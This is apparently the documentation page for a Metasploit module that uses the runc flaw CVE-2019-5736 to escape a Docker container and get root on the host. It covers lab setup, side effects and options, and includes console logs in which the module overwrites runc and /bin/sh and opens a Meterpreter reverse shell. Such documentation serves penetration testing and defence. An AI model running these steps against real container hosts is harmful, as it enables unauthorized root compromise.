2021-05-21 22:33:46 +02:00
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## Vulnerable Application
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### Description
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This module leverages a flaw in `runc` to escape a Docker container and get
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command execution on the host as root. This vulnerability is identified as
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CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for
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someone to use `docker exec` to get into the container. This will trigger the
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payload execution. Note that a valid session as the root user inside the
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container is needed.
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**WARNING**: Executing this exploit carries important risks regarding the
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Docker installation integrity on the target and inside the container (see [Side
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Effects](#side-effects) section).
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`runc` has been [fixed][1] in version [`1.0-rc7`][2] and included in Docker
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version [`18.09.2`][3].
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This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28
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x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the
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exploit is more reliable on Fedora than Ubuntu.
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### Installation
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#### Ubuntu 18.04.5 x64 with Docker version 18.03.1
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```
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curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
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echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
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apt-get update
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apt-get install docker-ce=18.03.1~ce~3-0~ubuntu
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```
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#### Fedora 28 x64 with Docker version 18.03.1
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```
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dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
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dnf -y install dnf-plugins-core
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dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
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dnf -y install docker-ce-18.03.1.ce-3.fc28
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```
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### Side Effects
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#### runc
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The host `runc` binary will be overwritten during exploitation. The module
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takes care of making a backup before the overwrite and restoring it when the new
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2021-05-21 22:33:46 +02:00
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session is established. However, it might not work as expected and something
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could go wrong during the exploitation, which might prevent the session being
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2024-04-15 11:06:50 +08:00
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created. In this case, `runc` won't be restored and the host will no longer
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2021-05-21 22:33:46 +02:00
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be able to run Docker containers. This process will need to be done manually
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somehow by following the instruction displayed during the module execution:
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```
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cp <path to docker-runc backup> <path to docker-runc>
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```
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#### shell
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The shell binary inside the container (set by the `OVERWRITE` option) will also
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be overwritten. However, the module makes a backup prior to the overwrite and
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restores it automatically. This process is relatively safe, but something can
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still go wrong along the way. Again, this will need to be done manually, using
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the information displayed during the module execution:
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```
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cp <path to the shell binary backup> <path to the shell binary>
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```
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## Verification Steps
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1. Install Docker (see [Installation](#installation))
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1. Start msfconsole
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1. Get a session as root inside a Docker container
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1. Do: `use linux/local/docker_runc_escape`
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1. Do: `set LHOST <ip>`
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1. Do: `set LPORT <port>`
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1. Do: `set session <session nb>`
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1. Do: `run`
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1. On the host target, run `docker exec -ti <container_id> /bin/sh`
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1. You should get a Meterpreter session.
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1. Verify you escaped the Docker container
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1. Verify `WRITABLEDIR` on the host is empty (cleanup successful)
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1. Verify `docker-runc` has been restored by running `docker-runc --version`
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## Options
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### OVERWRITE
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2023-10-10 14:46:18 -04:00
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The shell that is going to be overwritten with `#!/proc/self/exe`. This will be
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triggered by a user running `docker exec -ti <container_id> <overwritten
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shell>`. Default is `/bin/sh`.
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### SHELL
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The shell the module will use in scripts (must be different than `OVERWRITE`
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shell). During the execution, some shell script have to be executed in the
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Docker container. Since the main `OVERWRITE` shell has been overwritten,
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another shell must be used. Default is `/bin/bash`.
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### WRITABLEDIR
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A directory where you can write files. Default is `/tmp`.
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## Scenarios
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## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS
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```
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2025-07-17 09:53:40 +01:00
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msf exploit(linux/local/docker_runc_escape) > options
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Module options (exploit/linux/local/docker_runc_escape):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
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SESSION 1 yes The session to run this module on.
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SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
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WRITABLEDIR /tmp yes A directory where you can write files.
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Payload options (linux/x64/meterpreter/reverse_tcp):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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LHOST 192.168.144.1 yes The listen address (an interface may be specified)
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LPORT 4455 yes The listen port
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Exploit target:
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Id Name
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-- ----
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1 Linux (Dropper) x64
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2025-07-17 09:53:40 +01:00
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msf exploit(linux/local/docker_runc_escape) > run
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[!] SESSION may not be compatible with this module.
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[*] Started reverse TCP handler on 192.168.144.1:4455
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[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
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[*] Overwrite /bin/sh
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[*] Upload payload
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[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
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[*] Upload exploit
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[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
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[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
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[*] Writing '/tmp/k41AYY' (344 bytes) ...
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[*] Launch exploit loop and wait for 300 sec.
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[*] Sending stage (3012548 bytes) to 192.168.144.135
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[+] Deleted /tmp/pMQAa0FYW
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[+] Deleted /tmp/IP8LtTm7
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[+] Deleted /tmp/k41AYY
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[+] Original runc binary restored
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[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
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[*] Done. Waiting a bit more to make sure everything is setup...
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[+] Session ready!
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meterpreter > getuid
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Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
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meterpreter > sysinfo
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Computer : 192.168.144.135
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OS : Ubuntu 18.04 (Linux 5.4.0-72-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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meterpreter > [*] Shutting down Meterpreter...
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```
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## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64
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```
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msf exploit(linux/local/docker_runc_escape) > options
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Module options (exploit/linux/local/docker_runc_escape):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
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SESSION 1 yes The session to run this module on.
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SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
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WRITABLEDIR /tmp yes A directory where you can write files.
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Payload options (linux/x64/meterpreter/reverse_tcp):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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LHOST 192.168.144.1 yes The listen address (an interface may be specified)
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LPORT 4455 yes The listen port
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Exploit target:
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Id Name
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-- ----
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1 Linux (Dropper) x64
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2025-07-17 09:53:40 +01:00
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msf exploit(linux/local/docker_runc_escape) > run
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[!] SESSION may not be compatible with this module.
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[*] Started reverse TCP handler on 192.168.144.1:4455
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[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
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[*] Overwrite /bin/sh
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[*] Upload payload
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[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
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[*] Upload exploit
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[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
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[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
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[*] Writing '/tmp/Rba74' (351 bytes) ...
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[*] Launch exploit loop and wait for 300 sec.
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[*] Sending stage (3012548 bytes) to 192.168.144.219
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[+] Deleted /tmp/jPfX1LCnzb
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[+] Deleted /tmp/aI0aDmv91K
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[+] Deleted /tmp/Rba74
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[+] Original runc binary restored
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[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
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[*] Done. Waiting a bit more to make sure everything is setup...
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[+] Session ready!
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meterpreter > getuid
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Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
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meterpreter > sysinfo
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Computer : localhost.localdomain
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OS : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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meterpreter > [*] Shutting down Meterpreter...
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```
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[1]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7
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[2]: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d
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[3]: https://github.com/docker/docker-ce/releases/tag/v18.09.2
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